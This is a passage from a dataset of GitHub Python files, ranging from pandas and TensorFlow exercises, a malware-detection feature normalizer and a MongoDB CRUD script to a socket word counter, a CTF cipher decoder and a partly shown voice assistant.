Difference')\nplt.ylabel('Title')\ndisagreament.sort_values().plot(kind='barh', figsize=[10, 15])\nplt.show()\n","repo_name":"mostafagafer/Pandas--Udemy-course","sub_path":"Lec-9 (with plt).py","file_name":"Lec-9 (with plt).py","file_ext":"py","file_size_in_byte":2077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33834157551","text":"#! usr/bin/env python\n#-*- coding: utf-8 -*-\n\nlength, offset = map(int, input().split())\nnum_list = list(map(int, input().split()))\n\noffset = offset % length\n\nif offset == 0:\n new_list = num_list[:]\nelse:\n new_list = num_list[(offset * -1):] + num_list[:(length - offset)]\n\nfor index in range(0, len(new_list)):\n if index != len(new_list) - 1:\n print(new_list[index], end=' ')\n else:\n print(new_list[index], end='')","repo_name":"JPMike/PAT_Basic","sub_path":"1008.py","file_name":"1008.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"31604231012","text":"import time\r\nimport json\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nchunk_size = 4000\r\naggregate = dict()\r\n\r\n\r\ndef normalize(feature_file_path, output_file_path, data_agg):\r\n \"\"\"\r\n Normalizes all the features between a range of 0-1\r\n :param feature_file_path: str\r\n :param output_file_path: str\r\n :param data_agg: pandas.DataFrame\r\n :return bool\r\n \"\"\"\r\n header = True\r\n idx_chunk = 0\r\n for bytes_feature in pd.read_csv(bytes_feature_file_path, chunksize=chunk_size):\r\n if idx_chunk == 0:\r\n columns = [col for col in bytes_feature.columns if col not in [\r\n 'index', 'Unnamed: 0']]\r\n idx_chunk += 1\r\n for column in columns:\r\n bytes_feature[column] = ((bytes_feature[column] - data_agg[column]['min']) / (\r\n data_agg[column]['max'] - data_agg[column]['min'])).astype('int64', copy=False )\r\n\r\n bytes_feature.to_csv(output_file_path,\r\n header=header, mode='a')\r\n header = False\r\n return True\r\n\r\n\r\ndef generate_agg(data, columns, file_path=None):\r\n global aggregate\r\n for column in columns:\r\n if not aggregate.get(column):\r\n col_agg = dict()\r\n col_agg['min'] = data[column].min()\r\n col_agg['max'] = data[column].max()\r\n aggregate[column] = col_agg\r\n else:\r\n col_agg = aggregate.get(column)\r\n current_data_min = data[column].min()\r\n current_data_max = data[column].max()\r\n col_agg['min'] = current_data_min if col_agg['min'] > current_data_min else col_agg['min']\r\n col_agg['max'] = current_data_max if col_agg['max'] < current_data_max else col_agg['max']\r\n if file_path:\r\n aggregate.to_json(file_path)\r\n\r\n\r\ndef main(bytes_feature_file_path, byte_labels, drive_path):\r\n byte_labels_df = pd.read_csv(byte_labels)\r\n byte_labels_df['index'] = byte_labels_df['ID'] + '.txt'\r\n idx_chunk = 0\r\n header = True\r\n for bytes_feature in pd.read_csv(bytes_feature_file_path, chunksize=chunk_size):\r\n bytes_feature = bytes_feature.reset_index()\r\n if idx_chunk == 0:\r\n columns = [col for col in bytes_feature.columns if col not in [\r\n 'index', 'Unnamed: 0']]\r\n idx_chunk += 1\r\n bytes_feature = bytes_feature.merge(\r\n byte_labels_df[['size', 'index']], on='index', how='left')\r\n bytes_feature.to_csv(drive_path+'bytes_features_with_size.csv',\r\n header=header, mode='a')\r\n header = False\r\n generate_agg(bytes_feature, columns, file_path=None)\r\n global aggregate\r\n aggregate = pd.DataFrame(aggregate)\r\n aggregate.to_csv(drive_path+'bytes_feature_agg.csv')\r\n normalized = normalize(drive_path+'bytes_features_with_size.csv',\r\n drive_path+'bytes_feature_normalized.csv', aggregate)\r\n print(f\"Data Normalized - {normalized}\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n drive_path = ''\r\n bytes_feature_file_path = 'bytes_feature_op.csv'\r\n byte_labels = 'train_labels_with_byte_size.csv'\r\n start = time.time()\r\n main(bytes_feature_file_path, byte_labels, drive_path)\r\n print(f\"Execution completed in {time.time() - start} secs.\")\r\n","repo_name":"yashpatel047/Microsoft-Malware-Detection","sub_path":"byte_files_processing/preprocessing_bytes.py","file_name":"preprocessing_bytes.py","file_ext":"py","file_size_in_byte":3270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27213171844","text":"import serial\nfrom time import sleep\n\n# declare to variables, holding the com port we wish to talk to and the speed\nport = '/dev/ttyAMA0'\nbaud = 9600\n\n# open a serial connection using the variables above\nser = serial.Serial(port=port, baudrate=baud)\n\n# wait for a moment before doing anything else\nsleep(0.2)\n\n# setup a counter starting at 0\ncount = 0\n\n# loop over the block of code while the count is less than 4\n# when the count = 4 the loop will break and we carry on with the rest\nwhile count < 4:\n # write a--A00READ-- out to the serial port\n # this will return the current ADC reading for Pin A0\n ser.write('a--A00READ--')\n\n # wait for a moment before doing anything else\n sleep(0.2)\n\n # read 12 characters from the serial port\n reply = ser.read(12)\n \n # at this point reply should contain something like 'a--A01+532--'\n # the numbers after the + are the ADC reading we interested in\n \n # take just the last part of the message\n value = reply[7:]\n \n # strip the trailing '-'\n value = value.strip('-')\n \n # print the ADC Value\n # here we are doing a little formatting of the output\n # the {} inside the quotes is replaced with the contents of value\n print(\"ADC: {}\".format(value))\n \n # increase the count by 1 at the end of the block\n count += 1\n\n# close the serial port\nser.close()\n\n# at the end of the script python automatically exits","repo_name":"CisecoPlc/RasWik","sub_path":"Python/Examples/03Poll.py","file_name":"03Poll.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"} +{"seq_id":"20271852804","text":"from datetime import datetime\nimport unittest\nimport os\n\nparent_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nsister_dir = os.path.join(parent_dir, 'scripts/')\nos.sys.path.insert(0, sister_dir)\nfrom covid_pandas import CovidData\n\n\nclass TestPandas(unittest.TestCase):\n\n @classmethod\n def setUpClass(self):\n self.data = CovidData()\n self.data.clean_time_series()\n self.data.raw_totals = {}\n\n def get_raw_totals(self):\n for DF in self.data.DFs:\n title = DF.title\n df = DF.df\n date_cols = self.data.get_date_cols(df)[-1]\n raw_total = df[date_cols].sum().sum()\n self.data.raw_totals[title] = raw_total\n\n def test_totals(self):\n \"\"\"\n Check that the raw github data totals for each metric match the daily totals that are derived using melt() and diff()\n \"\"\"\n self.get_raw_totals()\n self.data.melt_dfs()\n self.data.get_daily_totals_dfs()\n\n for DF in self.data.DFs:\n title = DF.title\n metric = DF.metric\n print(f'\\ndataframe: {title}')\n df = DF.df\n daily_total = df[metric].sum()\n raw_total = self.data.raw_totals[title]\n self.assertEqual(raw_total, daily_total)\n","repo_name":"jjjchens235/covid-compared","sub_path":"pipeline/dags/tests/test_pandas.py","file_name":"test_pandas.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"37021003370","text":"\"\"\"\nFit a curve to the slope vs dist scatter\n\"\"\"\nimport sys\nimport numpy as np\nfrom scipy.optimize import curve_fit\nimport matplotlib.pyplot as plt\n\ndef curve(x, a, b, c):\n \"\"\"\n The function to fit to the data\n \"\"\"\n return a*x**2+b*x+c\n\nfilename = sys.argv[1]\ndata = np.load(filename)\n\nslopes = data[\"slope\"]\ndistances = data[\"dist\"]\nnrand = data[\"Nrand\"]\n\n# strip out data with no random spike trains\nidx = nrand > 0\nslopes = slopes[idx]\ndistances = distances[idx]\n\n# sort by x-axis (slopes)\nsrtidx = np.argsort(slopes)\nslopes = slopes[srtidx]\ndistances = distances[srtidx]\n\n# fit the curve\npopt, pcov = curve_fit(curve, slopes, distances)\nfig = plt.figure()\nax = fig.add_subplot(111)\nax.scatter(slopes, distances, c=\"gray\")\nax.plot(slopes, np.polyval(popt, slopes), \"r-\")\nax.grid()\nplt.xlabel(\"Slope (V/s)\")\nplt.ylabel(\"Spike time distance\")\nplt.savefig(\"svd_trend.png\")\n\n\n","repo_name":"achilleas-k/slope-vs-dist-brian","sub_path":"pp_dist_slope/curve_fit.py","file_name":"curve_fit.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17962479738","text":"from pymongo import MongoClient\n\n\ndef db_conecction(dir):\n client = MongoClient(dir)\n if client:\n print('DB Conected')\n return client\n else:\n print('DB fail conecction')\n\n\ndef add_document_db(client):\n client = client\n db = client['teststore']\n collection = db['products']\n print('Insert client ')\n name = input('Name : ')\n price = input('Price: ')\n secction = input('Secction: ')\n docu = {'name': name, 'price': price, 'secction': secction}\n if collection.insert_one(docu):\n print('{} insert in DB '.format(docu['name']))\n\n\ndef update_document_db(client):\n db = client['teststore']\n collection = db['products']\n pro = input('What product do you want to update? ')\n if collection.find_one({'name': pro}):\n name = input('Insert new name: ')\n price = input('Insert new price: ')\n secction = input('Insert new seccition: ')\n collection.update_one(\n {'name': pro}, {'$set': {'name': name, 'price': price, 'secction': secction}})\n print('Document updated succesfull')\n else:\n print('Documents not found, insert a existing document')\n\n\ndef delete_document_db(client):\n db = client['teststore']\n collection = db['products']\n delclient = input('Insert product to delete: ')\n if collection.find_one({'name': delclient}):\n collection.delete_one({'name': delclient})\n print('{} deleted succesfull'.format(delclient))\n else:\n print('Document not found in the DB')\n\n\ndef show_documents_db(client):\n db = client['teststore']\n collection = db['products']\n results = collection.find()\n print('****** Documents in DB *******')\n for r in results:\n print('________________________')\n print('ID: {}'.format(r['_id']))\n print('Name :{}'.format(r['name']))\n print('Price : {}'.format(r['price']))\n print('Secction: {}'.format(r['secction']))\n\n\ndef delete_all_db(client):\n db = client['teststore']\n collection = db['products']\n collection.delete_many({})\n print('All DB was deleted')\n\n\nif __name__ == '__main__':\n MONGO_URI = 'mongodb://localhost'\n client = db_conecction(MONGO_URI)\n print('Welcome to K4is3r DB')\n print('What you want to do? ')\n print('__________________')\n print('1. Add product to DB')\n print('2. Update product to DB')\n print('3. Delete product DB')\n print('4. Show all prodcuts in DB')\n print('5. Delete all DB')\n opc = int(input('Insert number : '))\n if opc == 1:\n add_document_db(client)\n elif opc == 2:\n update_document_db(client)\n elif opc == 3:\n delete_document_db(client)\n elif opc == 4:\n show_documents_db(client)\n elif opc == 5:\n res = input('Are you sure to delete all DB? ')\n if res == 'yes':\n delete_all_db(client)\n else:\n print('Ok')\n else:\n print('Introduce a valid option')\n\n #db = client['teststore']\n #collection = db['products']\n # add one to DB\n #collection.insert_one({\"_id\": 2, \"name\": \"keyboard\", \"price\": 300})\n \"\"\"add many to db\n product_one = {'name': 'mouse'}\n product_two = {'name': 'monitor'}\n collection.insert_many([product_one, product_two])\n \"\"\"\n \"\"\"Para buscar un elemento en la base de datos y para mostratlos todos\n results = collection.find()\n for r in results:\n print(r['name'])\n result_price = collection.find({'price': 300})\n for r in result_price:\n print(r)\n result_one = collection.find_one({'name': 'mouse'})\n print(result_one)\n \"\"\"\n \"\"\"Eliminar datos de la DB\n collection.delete_many({'price': 300})\n collection.delete_one({'name': 'monitor'})\n collection.delete_many({})\n \"\"\"\n #collection.insert_one({'name': 'laptop'})\n #collection.update_one({'name': 'laptop'}, {'$set': {'name': 'keyboard', 'price': 300}})\n #collection.update_one({'name': 'keyboard'}, {'$inc': {'price': 30}})\n #number_product_db = collection.count_documents({})\n # print(number_product_db)\n","repo_name":"k4is3r/simple-py-mongo","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4058,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21587954134","text":"#!/usr/bin/python3\n\n# Author: Daniel Harvey\n# Written: April 11 2018\n\nimport sys, socket\n\nC_DEBUG = False\n\nsck = socket.socket()\nhost = socket.gethostname()\nport = 36650\nsck.bind((host, port))\n\nsck.listen(5)\n\nwhile True: \n conn, addr = sck.accept()\n \n if C_DEBUG:\n print(\"Accepting connection from \", addr)\n\n data = conn.recv(1024).decode('utf-8')\n \n if C_DEBUG:\n print(data)\n\n # Parse the message to count the number of characters, words, and spaces\n numberOfChars = 0\n numberOfWords = 0\n numberOfLines = 0\n lastCharWasWhitespace = False\n\n for c in data :\n\n numberOfChars = numberOfChars + 1\n if c == ' ' :\n if not lastCharWasWhitespace:\n numberOfWords = numberOfWords + 1\n #print(lastChar)\n lastCharWasWhitespace = True\n elif c == '\\n' :\n numberOfLines = numberOfLines + 1\n if not lastCharWasWhitespace:\n numberOfWords = numberOfWords + 1\n #print(lastChar)\n lastCharWasWhitespace = True\n else:\n lastCharWasWhitespace = False\n\n lastChar = c\n\n\n processedInput = \"Number of characters: %d\\nNumber of words: %d\\nNumber of lines: %d\" \\\n % (numberOfChars, numberOfWords, numberOfLines)\n \n if C_DEBUG:\n print(processedInput)\n\n # Return the business to the client\n conn.send(processedInput.encode())\n\n if C_DEBUG:\n print()\n\nsck.close()\n","repo_name":"C2SO/CS351","sub_path":"Cloud - Kanchi 2018/harvey1/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"35459775731","text":"import numpy as np\n\n\n# pylint: disable=invalid-name\ndef trilateration_3D(coordinates: np.array, distances: np.array) -> np.array:\n \"\"\"Determine the 3D coordinates of an object\n from the distances and the coordinates of 3 known landmarks\n\n Examples:\n >>> coords = np.array([[3, 0, 0], [0, -5, 0], [0, 0, 4]])\n >>> distances = np.array([3, 5, 4])\n >>> trilateration_3D(coords, distances)\n array([0, 0, 0])\n >>> coords = np.array([[0, 0, 0], [3, 5, 0], [3, 0, 4]])\n >>> distances = np.array([3, 5, 4])\n >>> trilateration_3D(coords, distances)\n array([3, 0, 0])\n\n Args:\n coordinates: A 3x3 array where each row contains the coordinates (x,y,z) of a landmark\n distances: A 3x1 array containing the distances between\n each landmark and the point to localize\n\n Returns:\n 3D Coordinates `(x,y,z)` determined by trilateration\n\n Raises:\n ValueError: An error occurs when the rank of `coordinates` is less than 3\n \"\"\"\n coords_rank = np.linalg.matrix_rank(coordinates)\n if coords_rank < 3:\n raise ValueError(f\"coordinates array has a rank of {coords_rank}. Rank should be at least 3\")\n\n sum_of_squares = np.square(coordinates).sum(axis=1)\n d_prime = distances - sum_of_squares\n\n A = np.vstack([coordinates, coordinates[0, :]])\n A = -1 * np.diff(A, axis=0)\n\n B = d_prime / -2\n X = np.linalg.inv(A) @ B\n return X\n\n\nif __name__ == \"__main__\":\n coords = np.array([[3, 0, 0], [0, -5, 0], [0, 0, 4]])\n distances = np.array([3, 5, 4])\n trilateration_3D(coords, distances)\n coords = np.array([[0, 0, 0], [3, 5, 0], [3, 0, 4]])\n trilateration_3D(coords, distances)\n","repo_name":"IamPhytan/Cookbook","sub_path":"python/algorithms/trilateration/trilateration.py","file_name":"trilateration.py","file_ext":"py","file_size_in_byte":1705,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"9863005343","text":"with open(\"output.txt\") as f:\n s = f.read().strip()\n\n\ndef xx(n):\n r = n - shift if n - shift < 30 else n - shift - 128\n return r + 97\n\n\nshift = 18\nflag = \"\"\nfor c in s:\n n = ord(c) - 97\n print(n, n - shift)\n flag += chr(xx(n))\n shift = ((n + 32) * 1337) % 27\nprint(flag)\n\nshift = 18\nres = \"\"\n\nfor n in flag:\n n = ord(n) - 97\n n = (n + shift) % 128\n res += chr(n + 97)\n shift = ((n + 32) * 1337) % 27\nprint(res)\nprint(res == s)\n","repo_name":"maple3142/imaginaryCTF-solution","sub_path":"2022-06/cursed_caesar/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"78"} +{"seq_id":"29755991189","text":"#!/usr/bin/env python3\n\"\"\"third_derivative.py\"\"\"\n\nfrom __future__ import annotations\n\nimport typing\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib.ticker import MultipleLocator\n\nif typing.TYPE_CHECKING:\n from matplotlib.axes import Axes\n from numpy.typing import NDArray\n\n\ndef f(x: NDArray[np.float_]) -> NDArray[np.float_]:\n return np.array(np.sin(x**2) / (1 + x**3))\n\n\ndef plot(ax: Axes) -> None:\n a: float = 0\n b: float = 5\n n: int = 500\n\n x = np.linspace(a, b, n, dtype=np.float_)\n h: float = 2 * (b - a) / n\n\n y = f(x)\n\n y_prime = np.zeros_like(y)\n for i in range(1, len(y) - 1):\n y_prime[i] = (y[i + 1] - y[i - 1]) / h\n\n y_prime2 = np.zeros_like(y)\n for i in range(2, len(y_prime2) - 2):\n y_prime2[i] = (y_prime[i + 1] - y_prime[i - 1]) / h\n\n y_prime3 = np.zeros_like(y)\n for i in range(3, len(y_prime3) - 3):\n y_prime3[i] = (y_prime2[i + 1] - y_prime2[i - 1]) / h\n\n ax.plot(x, 20 * y, label=r\"$20\\times\\frac{\\sin{x^2}}{1+x^3}$\")\n ax.plot(x[1:-2], 10 * y_prime[1:-2],\n label=r\"$10\\times\\frac{\\partial}{\\partial x}\\frac{\\sin{x^2}}{1+x^3}$\")\n ax.plot(x[2:-3], y_prime2[2:-3],\n label=r\"$\\frac{\\partial ^2}{\\partial x^2}\\frac{\\sin{x^2}}{1+x^3}$\")\n ax.plot(x[3:-4], y_prime3[3:-4],\n label=r\"$\\frac{\\partial ^3}{\\partial x^3}\\frac{\\sin{x^2}}{1+x^3}$\")\n\n ax.set_title(r\"Higher Order Numerical Derivatives of $\\frac{\\sin{x^2}}{1+x^3}$\")\n ax.set_xlabel(\"x\")\n ax.set_ylabel(\"y\")\n\n ax.set_ylim(-10, 10)\n ax.xaxis.set_major_locator(MultipleLocator(0.5))\n ax.yaxis.set_major_locator(MultipleLocator(1.0))\n\n ax.legend(loc=\"upper right\", fontsize=\"16\")\n\n ax.axhline(0, color=\"black\", linestyle=\"-\")\n ax.axvline(0, color=\"black\", linestyle=\"-\")\n\n\ndef main() -> None:\n plt.figure(__file__)\n plot(plt.axes())\n plt.show()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"dbiersach/qis101","sub_path":"labs/Session 10 - Numerical Analysis/third_derivative.py","file_name":"third_derivative.py","file_ext":"py","file_size_in_byte":1905,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"} +{"seq_id":"74724711613","text":"## load data with tensorflow\n# tf.data.TextLineDataset will load examples into text files\nimport tensorflow as tf\nimport tensorflow_datasets as tfds\nimport os\n\nDIRECTORY_URL = 'https://storage.googleapis.com/download.tensorflow.org/data/illiad/'\nFILE_NAMES = ['cowper.txt', 'derby.txt', 'butler.txt']\n\nfor name in FILE_NAMES:\n text_dir = tf.keras.utils.get_file(name, origin=DIRECTORY_URL+name)\n\nparent_dir = os.path.dirname(text_dir)\n\n# load text into dataset\n\ndef labeler(example, index):\n return example, tf.cast(index, tf.int64)\n\nlabeled_data_sets = []\n\nfor i, file_name in enumerate(FILE_NAMES):\n lines_dataset = tf.data.TextLineDataset(os.path.join(parent_dir, file_name))\n labeled_data_sets.append(lines_dataset.map(lambda ex: labeler(ex, i)))\n\n#combine the labels into one dataset\n\nall_labeled_data = labeled_data_sets[0]\n\nfor labeled_data_set in labeled_data_sets[1:]:\n all_labeled_data.concatenate(labeled_data_set)\n\nall_labeled_data = all_labeled_data.shuffle(buffer_size=50000, reshuffle_each_iteration=False)\n\nfor ex in all_labeled_data.take(4):\n print(ex)\n\n#encodes text lines as numbers\n#tfds.deprecated.text.TokenTextEncoder> this will create an encoder bz takes in a string of text and return a lost of unique integers\n# adding value to a set bz \"update\"\n\ntokenizer = tfds.deprecated.text.Tokenizer()\n# collect the tokens into a python set to remove duplicates\nvocabulary_set = set()\nfor text_tensor, _ in all_labeled_data:\n some_tokens = tokenizer.tokenize(text_tensor.numpy())\n vocabulary_set.update(some_tokens)\n\nvocab_size = len(vocabulary_set)\n\n#tfds.deprecated.text.TokenTextEncoder will takes in a string of text and returns a list of integers\n\nencoder = tfds.deprecated.text.TokenTextEncoder(vocabulary_set)\n# looking at a single line\nexample_text = next(iter(all_labeled_data))[0].numpy()\n\nencoded_exmple = encoder.encode(example_text)\n\n# wrapping a funciton with tf.py_function\n# passing the wrap function with map method\n\ndef encode(text_tensor, label):\n encode_text = encoder.encode(text_tensor.numpy())\n return encode_text, label\n\ndef encode_map_function(text, label):\n encode_text, label = tf.py_function(encode,\n inp=[text, label],\n Tout=(tf.int64, tf.int64))\n # manually set the shape of the components\n encode_text.set_shape([None])\n label.set_shape([])\n return encode_text, label\n\nall_encoded_data = all_labeled_data.map(encode_map_function)\n\n# creating a small dataset with tf.data.Dataset.take\n# creating a large training set with tf.data.Dataset.skip\n\n# the size of the batches should be the same and if not then use tf.data.Dataset.padded_batch\nBUFFER_SIZE = 50000\nBATCH_SIZE = 64\nTAKE_SIZE = 5000\n\ntrain_data = all_encoded_data.skip(TAKE_SIZE).shuffle(BUFFER_SIZE)\ntrain_data = train_data.padded_batch(BATCH_SIZE)\n\ntest_data = all_encoded_data.take(TAKE_SIZE).shuffle(BUFFER_SIZE)\ntest_data = test_data.padded_batch(BUFFER_SIZE)\n\nsample_text, sample_label = next(iter(test_data))\n\nvocab_size += 1\n\n# build a model\nmodel = tf.keras.Sequential()\n# in this model, the first layer converts integer representations to dense vector embeddings\nmodel.add(tf.keras.layers.Embedding(vocab_size, 64))\nmodel.add(tf.keras.layers.Bidirectional(tf.keras.layers.LSTM(64)))\n\nfor units in [64, 64]:\n model.add(tf.keras.layers.Dense(units, activation='relu'))\n\nmodel.add(tf.keras.layers.Dense(3))\n\nmodel.compile(optimizer='adam',\n loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),\n metrics=['accuracy'])\n\n# train the model\nmodel.fit(train_data, epochs=3, validation_data=test_data)\n\neval_loss, eval_acc = model.evaluate(test_data)","repo_name":"fuzhanrahmanian/Tensorflow_google_cloud","sub_path":"load_and_preprocessing_data.py","file_name":"load_and_preprocessing_data.py","file_ext":"py","file_size_in_byte":3725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37380927928","text":"from robot.api.deco import library, keyword\nfrom robot.libraries.BuiltIn import BuiltIn\n\n\n@library\nclass Shop:\n\n def __init__(self) -> None:\n self.selenium = BuiltIn().get_library_instance(\"SeleniumLibrary\") \n\n # Method name will be automatically converted to keyword in robot framework\n @keyword\n def hello_world(self): # Keyword: Hello World\n print(\"Hello, World!\") \n\n @keyword\n def add_items_to_cart_and_checkout(self, products): # Keyword: Add Items To Cart And Checkout\n web_elements = self.selenium.get_webelements(\"css:.card-title\")\n index = 1\n for element in web_elements:\n if element.text in products:\n self.selenium.click_button(f\"xpath:(//button[contains(text(),'Add')])[{index}]\")\n index += 1\n self.selenium.scroll_element_into_view(\"css:a.btn-primary\")\n self.selenium.click_link(\"css:a.btn-primary\")","repo_name":"ThitiphongWancham/RobotFramework","sub_path":"CustomLibrary/Shop.py","file_name":"Shop.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72936086011","text":"from datetime import timedelta\n\nfrom feast import BigQuerySource, Entity, Feature, FeatureView, ValueType, FileSource\n\n# Define an entity for the driver. Entities can be thought of as primary keys used to\n# retrieve features. Entities are also used to join multiple tables/views during the\n# construction of feature vectors\ntransaction = Entity(\n # Name of the entity. Must be unique within a project\n name=\"CustomerID\",\n # The join key of an entity describes the storage level field/column on which\n # features can be looked up. The join key is also used to join feature\n # tables/views when building feature vectors\n join_key=\"CustomerID\",\n # The storage level type for an entity\n value_type=ValueType.INT64,\n)\n\n# Indicates a data source from which feature values can be retrieved. Sources are queried when building training\n# datasets or materializing features into an online store.\n# Indicates a data source from which feature values can be retrieved. Sources are queried when building training\n# datasets or materializing features into an online store.\ntransaction_stats = BigQuerySource(\n # The BigQuery table where features can be found\n table_ref=\"srivatsan-project.customer.transactions\",\n # The event timestamp is used for point-in-time joins and for ensuring only\n # features within the TTL are returned\n event_timestamp_column=\"event_timestamp\",\n # The (optional) created timestamp is used to ensure there are no duplicate\n # feature rows in the offline store or when building training datasets\n created_timestamp_column=\"created_timestamp\",\n\n)\n\n#transaction_stats = FileSource(\n# path=\"/home/jupyter/transactions.parquet\",\n# event_timestamp_column=\"event_timestamp\",\n# created_timestamp_column=\"created_timestamp\",\n#)\n\n# Feature views are a grouping based on how features are stored in either the\n# online or offline store.\ntransaction_stats_fv = FeatureView(\n # The unique name of this feature view. Two feature views in a single\n # project cannot have the same name\n name=\"transaction\",\n # The list of entities specifies the keys required for joining or looking\n # up features from this feature view. The reference provided in this field\n # correspond to the name of a defined entity (or entities)\n entities=[\"CustomerID\"],\n # The timedelta is the maximum age that each feature value may have\n # relative to its lookup time. For historical features (used in training),\n # TTL is relative to each timestamp provided in the entity dataframe.\n # TTL also allows for eviction of keys from online stores and limits the\n # amount of historical scanning required for historical feature values\n # during retrieval\n ttl=timedelta(weeks=1000),\n # The list of features defined below act as a schema to both define features\n # for both materialization of features into a store, and are used as references\n # during retrieval for building a training dataset or serving features\n features=[\n Feature(name=\"price_sum\", dtype=ValueType.FLOAT),\n Feature(name=\"total_count\", dtype=ValueType.INT64),\n Feature(name=\"Country\", dtype=ValueType.STRING),\n ],\n # Inputs are used to find feature values. In the case of this feature\n # view we will query a source table on BigQuery for driver statistics\n # features\n input=transaction_stats,\n # Tags are user defined key/value pairs that are attached to each\n # feature view\n tags={\"team\": \"transaction\"},\n)\n","repo_name":"srivatsan88/YouTubeLI","sub_path":"feast/driver_repo.py","file_name":"driver_repo.py","file_ext":"py","file_size_in_byte":3502,"program_lang":"python","lang":"en","doc_type":"code","stars":333,"dataset":"github-code","pt":"78"} +{"seq_id":"3540528868","text":"import matplotlib\nimport matplotlib.pyplot as plt\n\nimport pandas as pd\nimport numpy as np\n\nfrom mesa import Agent, Model\nfrom mesa.time import RandomActivation\n\nfrom mesa.space import MultiGrid\nfrom mesa.datacollection import DataCollector\n# Lotes de trabajo, cuando mando pequeños fragmentos de cosas muy complejas\nfrom mesa.batchrunner import BatchRunner\n\nclass MoneyAgent(Agent):\n def __init__(self, unique_id, model):\n super().__init__(unique_id, model)\n self.wealth = 1\n\n def step(self): # Intercambiar la riqueza con otro agente\n if self.wealth > 0:\n other_agent = self.random.choice(self.model.schedule.agents)\n other_agent.wealth += 1\n self.wealth -= 1\n\nclass MoneyModel(Model):\n def __init__(self, num_agents):\n self.num_agents = num_agents\n self.schedule = RandomActivation(self)\n\n for i in range(self.num_agents):\n a = MoneyAgent(i, self)\n self.schedule.add(a)\n\n def step(self):\n self.schedule.step()\n\nmodel = MoneyModel(10)\nfor i in range(10):\n model.step()\n\nagents_wealth = [agent.wealth for agent in model.schedule.agents]\nplt.hist(agents_wealth)\n\nall_wealth = []\nfor i in range(100):\n\n model = MoneyModel(10)\n for j in range(10):\n model.step()\n for agent in model.schedule.agents:\n all_wealth.append(agent.wealth)\n\nplt.hist(all_wealth, bins=range(max(all_wealth)+1))\n\n\n\n","repo_name":"Naiztu/TC2008_MULTI_AGENTS_MODELS","sub_path":"EXAMPLES_IN_CLASS/Example02.py","file_name":"Example02.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3311413567","text":"import smtplib\r\nimport pyautogui\r\nimport pygetwindow\r\nimport subprocess\r\nimport os\r\nimport pyttsx3\r\nimport calendar\r\nimport shutil\r\nimport pandas\r\nimport pywhatkit\r\nimport winshell as winshell\r\nfrom PyDictionary import PyDictionary\r\nimport speech_recognition as sr\r\nimport datetime\r\nimport webbrowser\r\nimport pyjokes\r\nimport ctypes\r\nimport time\r\nfrom time import ctime\r\nimport main\r\n\r\nfrom torch import res\r\nfrom wikipedia import wikipedia\r\n\r\nengine = pyttsx3.init('sapi5')\r\n# voices = engine.getProperty('voices')\r\n# engine.setProperty('voice', voices[1].id)\r\n\r\n\r\ndef speak(audio):\r\n engine.say(audio)\r\n engine.runAndWait()\r\n\r\n\r\ndef wishMe():\r\n hour = int(datetime.datetime.now().hour)\r\n if hour >= 0 and hour < 12:\r\n speak(\"Good Morning Sir !\")\r\n\r\n elif hour >= 12 and hour < 18:\r\n speak(\"Good Afternoon Sir !\")\r\n\r\n else:\r\n speak(\"Good Evening Sir !\")\r\n\r\n assname = (\"My name is Alexis\")\r\n speak(\"I am your Assistant\")\r\n speak(assname)\r\n\r\n\r\ndef usrname():\r\n speak(\"What should i call you sir\")\r\n uname = takeCommand()\r\n speak(\"Welcome Mister\")\r\n speak(uname)\r\n speak(\"What can I do for you\")\r\n\r\n columns = shutil.get_terminal_size().columns\r\n\r\n\r\n\r\ndef takeCommand():\r\n r = sr.Recognizer()\r\n\r\n with sr.Microphone() as source:\r\n\r\n print(\"Listening...\")\r\n r.pause_threshold = 1\r\n audio = r.listen(source)\r\n\r\n try:\r\n print(\"Recognizing...\")\r\n query = r.recognize_google(audio, language='en-in')\r\n print(f\"User said: {query}\\n\")\r\n\r\n except Exception as e:\r\n print(e)\r\n print(\"Unable to Recognize your voice.\")\r\n return \"None\"\r\n\r\n return query\r\n\r\n\r\ndef sendEmail(to, content):\r\n server = smtplib.SMTP('smtp.gmail.com', 587)\r\n server.ehlo()\r\n server.starttls()\r\n\r\n # Enable low security in gmail\r\n server.login('your email id', 'your email password')\r\n server.sendmail('your email id', to, content)\r\n server.close()\r\n\r\n\r\nif __name__ == '__main__':\r\n clear = lambda: os.system('cls')\r\n\r\n # This Function will clean any\r\n # command before execution of this python file\r\n clear()\r\n wishMe()\r\n usrname()\r\n while 